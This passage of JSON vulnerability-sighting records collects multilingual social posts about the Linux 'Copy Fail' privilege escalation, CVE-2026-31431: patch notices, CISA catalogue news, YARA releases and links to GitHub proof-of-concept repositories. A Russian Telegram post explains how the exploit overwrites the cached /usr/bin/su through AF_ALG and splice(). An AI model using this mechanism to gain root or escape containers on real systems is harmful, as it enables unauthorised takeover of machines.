Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-22 18:58:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPortable Python PoC for CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-22T19:00:04.000000Z"}, {"uuid": "6cb8d1d5-4456-4387-8cfe-0f938e1aa5b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/almalinux.org/post/3mmhshatldt2c", "content": "\ud83d\udea8 Local privilege escalation via Copy Fail? Not on our watch. \n\nAlmaLinux 8, 9, and 10 patches are live, ahead of upstream. \n\nGo update your systems! https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/?utm_medium=social&utm_source=bluesky", "creation_timestamp": "2026-05-22T20:45:06.762707Z"}, {"uuid": "c55138a1-3d2f-427d-bbca-5f7006791f60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmhtyu7kvs27", "content": "\u7c73\u5f53\u5c40\u3001\u8106\u5f31\u60273\u4ef6\u306e\u60aa\u7528\u3092\u8b66\u544a - \u300cIvanti EPMM\u300d\u300cPAN-OS\u300d\u306f\u7dca\u6025\u5bfe\u5fdc\u3092\n\n\u7c73\u5f53\u5c40\u306f\u3001\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f3\u4ef6\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\u7279\u306b2\u4ef6\u306b\u3064\u3044\u3066\u306f\u7dca\u6025\u6027\u304c\u9ad8\u304f\u3001\u7c73\u884c\u653f\u6a5f\u95a2\u3067\u306f\u767b\u9332\u304b\u30893\u65e5\u4ee5\u5185\u306b\u5bfe\u5fdc\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u73fe\u5730\u6642\u95932026\u5e745\u67081\u65e5\u304b\u30897\u65e5\u306b\u304b\u3051\u3066\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8106\u5f31\u60273\u4ef6\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cLinux Kernel\u300d\u306b\u5224\u660e\u3057\u305f\u5225\u540d\u300cCopy Fail\u300d\u3068\u3082\u547c\u3070\u308c\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u304c\u767b\u9332\u3055\u308c\u305f\u3002\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u306b\u3088...", "creation_timestamp": "2026-05-22T21:12:50.408795Z"}, {"uuid": "7818bc27-34a8-47f5-8516-7f750968bf26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmhtzyzr2k27", "content": "\u7c73\u5f53\u5c40\u3001\u8106\u5f31\u60273\u4ef6\u306e\u60aa\u7528\u3092\u8b66\u544a - \u300cIvanti EPMM\u300d\u300cPAN-OS\u300d\u306f\u7dca\u6025\u5bfe\u5fdc\u3092\n\n\u7c73\u5f53\u5c40\u306f\u3001\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f3\u4ef6\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\u7279\u306b2\u4ef6\u306b\u3064\u3044\u3066\u306f\u7dca\u6025\u6027\u304c\u9ad8\u304f\u3001\u7c73\u884c\u653f\u6a5f\u95a2\u3067\u306f\u767b\u9332\u304b\u30893\u65e5\u4ee5\u5185\u306b\u5bfe\u5fdc\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u73fe\u5730\u6642\u95932026\u5e745\u67081\u65e5\u304b\u30897\u65e5\u306b\u304b\u3051\u3066\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8106\u5f31\u60273\u4ef6\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cLinux Kernel\u300d\u306b\u5224\u660e\u3057\u305f\u5225\u540d\u300cCopy Fail\u300d\u3068\u3082\u547c\u3070\u308c\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u304c\u767b\u9332\u3055\u308c\u305f\u3002\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u306b\u3088...", "creation_timestamp": "2026-05-22T21:13:28.546907Z"}, {"uuid": "f86f0ea6-608d-4317-9b61-f180a45ea31c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mmiccdd72k27", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona ' #CopyFail'? El #exploit de 732 bytes que otorga acceso #Root en Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.com/2026/04/copy...", "creation_timestamp": "2026-05-23T01:28:42.222115Z"}, {"uuid": "2a6f46f1-2812-4065-a245-9babec461e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmifqkvtg52v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-45584: 64 interactions\nCVE-2026-45250: 63 interactions\nCVE-2026-46333: 28 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46333: 13 interactions\nCVE-2026-31431: 6 interactions\nCVE-2026-39821: 6 interactions\n", "creation_timestamp": "2026-05-23T02:31:25.638732Z"}, {"uuid": "1446afbc-c284-4b1e-9563-a97140784076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/codeby_sec/10141", "content": "732 \u0431\u0430\u0439\u0442\u0430 Python-\u043a\u043e\u0434\u0430 \u2014 \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 root \u043d\u0430 \u043b\u044e\u0431\u043e\u043c Linux\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435: \u043e\u0434\u0438\u043d \u0441\u043a\u0440\u0438\u043f\u0442, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 race condition, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 per-distro offsets \u2014 \u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u0441\u0435\u043a\u0443\u043d\u0434 \u0432\u0430\u0448 www-data \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 CVE-2026-31431, \u043e\u043d\u0430 \u0436\u0435 Copy Fail \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u044f\u0442\u0430\u043b\u0430\u0441\u044c \u0432 \u044f\u0434\u0440\u0435 Linux \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442.\n\n\ud83d\udd0e\u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430 \u2014 \u0432 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u0438 \u0442\u0440\u0451\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e:\n\n\u2022 AF_ALG \u2014 \u0441\u043e\u043a\u0435\u0442\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a \u043a\u0440\u0438\u043f\u0442\u043e-API \u044f\u0434\u0440\u0430, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443\n\u2022 splice() \u2014 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b page cache \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\n\u2022 Page cache \u2014 \u043e\u0431\u0449\u0435\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u0435\u0448, \u0433\u0434\u0435 \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f setuid-\u0431\u0438\u043d\u0430\u0440\u0438\n\n\u0412 2017 \u0433\u043e\u0434\u0443 \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e: destination \u0438 reference pages \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0438 \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 scatterlist. \u041d\u043e \u043a\u043e\u0434 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b output-\u0440\u0435\u0433\u0438\u043e\u043d\u0430. \u0428\u0430\u0431\u043b\u043e\u043d authencesn \u043f\u0440\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0435 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 scratch-\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e. \u0427\u0435\u0440\u0435\u0437 splice() \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b page cache \u043e\u0442 setuid-\u0431\u0438\u043d\u0430\u0440\u044f \u2014 \u0438 \u044d\u0442\u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 /usr/bin/su. \u041d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0444\u0430\u0439\u043b \u043d\u0435 \u0442\u0440\u043e\u043d\u0443\u0442, \u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u2014 \u0443\u0436\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\ud83d\udc49\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0441\u0442\u0440\u0430\u0448\u043d\u0435\u0435 Dirty Pipe? \u0422\u0440\u0438 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\n\n1. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u2014 \u043d\u0435\u0442 \u043e\u043a\u043d\u0430 \u0433\u043e\u043d\u043a\u0438, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u043e 100% \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e\n2. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u043a\u0440\u0443\u043f\u043d\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435 \u0441 \u044f\u0434\u0440\u043e\u043c \u043e\u0442 2017 \u0433\u043e\u0434\u0430 (Ubuntu, RHEL, Amazon Linux, SUSE, Debian)\n3. Container escape \u2014 page cache \u043e\u0431\u0449\u0438\u0439 \u0434\u043b\u044f \u0445\u043e\u0441\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0441 shared kernel, \u0442\u0430\u043a \u0447\u0442\u043e Copy Fail \u2014 \u044d\u0442\u043e \u0435\u0449\u0451 \u0438 \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430. PoC \u0434\u043b\u044f Kubernetes \u0443\u0436\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 EKS, GKE \u0438 Alibaba Cloud ACK.\n\n\ud83c\udf87\u0427\u0442\u043e \u0443\u0441\u0442\u043e\u044f\u043b\u043e? \u041c\u0438\u043a\u0440\u043e\u0412\u041c (AWS Firecracker, Fargate), gVisor, V8-\u0438\u0437\u043e\u043b\u044f\u0442\u044b Cloudflare Workers \u2014 \u0432\u0441\u0451, \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e tenant \u0441\u0432\u043e\u0451 \u044f\u0434\u0440\u043e.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: \u0431\u0430\u0433 \u043f\u0440\u044f\u0442\u0430\u043b\u0441\u044f \u0442\u0430\u043a \u0434\u043e\u043b\u0433\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 crypto/ \u0440\u0435\u0432\u044c\u044e\u0438\u043b\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u044b. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438 IND-CPA, side channels, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u0410 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0434\u043e\u043b\u0436\u043d\u0430 \u043b\u0438 \u044d\u0442\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u044b\u0442\u044c writeable?\u00bb \u2014 \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b, \u0438 \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u043f\u0430\u043b \u0438\u0437 \u043f\u043e\u043b\u044f \u0437\u0440\u0435\u043d\u0438\u044f. \u0414\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442.\n\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0434\u043b\u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f low-priv shell \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Copy Fail \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 SUID-\u0431\u0438\u043d\u0430\u0440\u0435\u0439 \u0438\u043b\u0438 \u0440\u0430\u0437\u0431\u043e\u0440 cron jobs. \u0415\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u0438 \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043e \u2014 root \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0438, \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.\n\nhttps://codeby.net/threads/cve-2026-31431-copy-fail-razbor-linux-privilege-escalation-bez-race-condition.93766/", "creation_timestamp": "2026-05-24T10:04:04.000000Z"}, {"uuid": "edadf180-1f28-4cdd-8d66-15ab9ec6ef63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmnmshw32h2h", "content": "@reversinglabs.com\nLinux LPE CVE-2026-31431 (Dirty Frag) exploits seen in the wild 9 days pre-embargo, including PyPI supply chain attacks.\n-\nIOCs: CVE-2026-31431, Linux. Trojan. Multiverze, copyfail (PyPI)\n-\n#CVE202631431 #Linux #ThreatIntel", "creation_timestamp": "2026-05-25T04:19:56.782613Z"}, {"uuid": "a67c2347-d3f8-4505-a770-400073e8c760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmnmypijo32k", "content": "@reversinglabs.com\nReversingLabs released 5 YARA rules to detect 'Copy Fail' (CVE-2026-31431), a critical Linux kernel LPE flaw granting instant root access.\n-\nIOCs: CVE-2026-31431\n-\n#CVE202631431 #Linux #ThreatIntel", "creation_timestamp": "2026-05-25T04:23:26.337811Z"}, {"uuid": "4ec1af2a-9852-4558-8561-ec9a75453976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Ob2oA_mupoVDMqE6Q_QCizAK8aYtg6z11DPx_SkAfocJmb0", "content": "", "creation_timestamp": "2026-05-24T21:00:04.000000Z"}, {"uuid": "2f47b91f-5a19-44d5-8aef-79f689afcc40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/QQT-Q6OUMbbPAX_T-HqeuIDXp1trXX8UiN3jKLc_4d4AIZQ", "content": "", "creation_timestamp": "2026-05-22T15:00:07.000000Z"}, {"uuid": "b57436fc-e649-4f94-aeec-22f67bc38bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/sf5KhxAkcRuzAAdkzJfQq6tOcXhB3b2mycJGK75VFFg05Ws", "content": "", "creation_timestamp": "2026-05-22T09:00:04.000000Z"}, {"uuid": "f74c427f-a7c1-47f7-be03-99e01908835c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/EQ-OtrMk-MWFYtaQdS6-MjZwABKlvl-CaVDrJmD_M-e-p2s", "content": "", "creation_timestamp": "2026-05-22T03:00:06.000000Z"}, {"uuid": "ae2638ec-8fb5-44f6-af90-c82e3090bb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/hQ1BgqlandqZtiBEN_8bc-Jqb7FATWW_NqNwwco7cLj54NM", "content": "", "creation_timestamp": "2026-05-23T03:00:04.000000Z"}, {"uuid": "4f064e17-a96c-4d72-a755-0111df76aed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmnxsyuc3z2v", "content": "\ud83d\udccc CopyFail Vulnerability (CVE-2026-31431) Affects Major Linux Distributions - Patch Status Unclear https://www.cyberhub.blog/article/25414-copyfail-vulnerability-cve-2026-31431-affects-major-linux-distributions-patch-status-unclear", "creation_timestamp": "2026-05-25T07:37:06.736715Z"}, {"uuid": "bd60200f-438f-41aa-b781-b4bf41202e90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85786", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wvverez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-25 06:14:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u300c\ud83e\udde8\u300dPoC (Proof of Concept) of Copy Fail Local Privilege Escalation in Linux Kernel\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-25T07:00:04.000000Z"}, {"uuid": "18e37216-a83f-4028-b1c4-3d828a637221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85857", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy_fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Iamliuxiaozhen\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-25 16:54:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ncopy_fail:CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-25T17:00:05.000000Z"}, {"uuid": "395ca4c9-2985-498c-a246-c1a13a2a6f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85939", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ProyectoFinalSO\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zKaaanon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-26 08:22:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEstudio del bug CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-26T09:00:07.000000Z"}, {"uuid": "3ca06817-da17-4dc4-a9fc-0433621f18b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/control-systems-moxa-security-advisory-av26-509", "content": "", "creation_timestamp": "2026-05-26T05:59:13.000000Z"}, {"uuid": "fe8627e3-b8eb-442f-806b-5e6795efe11f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmreydlwtg2f", "content": "~Cybergcca~\nCCCS released security advisories addressing vulnerabilities in multiple Moxa and ABB control system products.\n-\nIOCs: CVE-2026-31431, CVE-2026-43284, CVE-2025-11482\n-\n#ICS #ThreatIntel #Vulnerability", "creation_timestamp": "2026-05-26T16:10:58.195635Z"}, {"uuid": "ef548bbd-0d15-4e0c-9732-82e62980b899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": 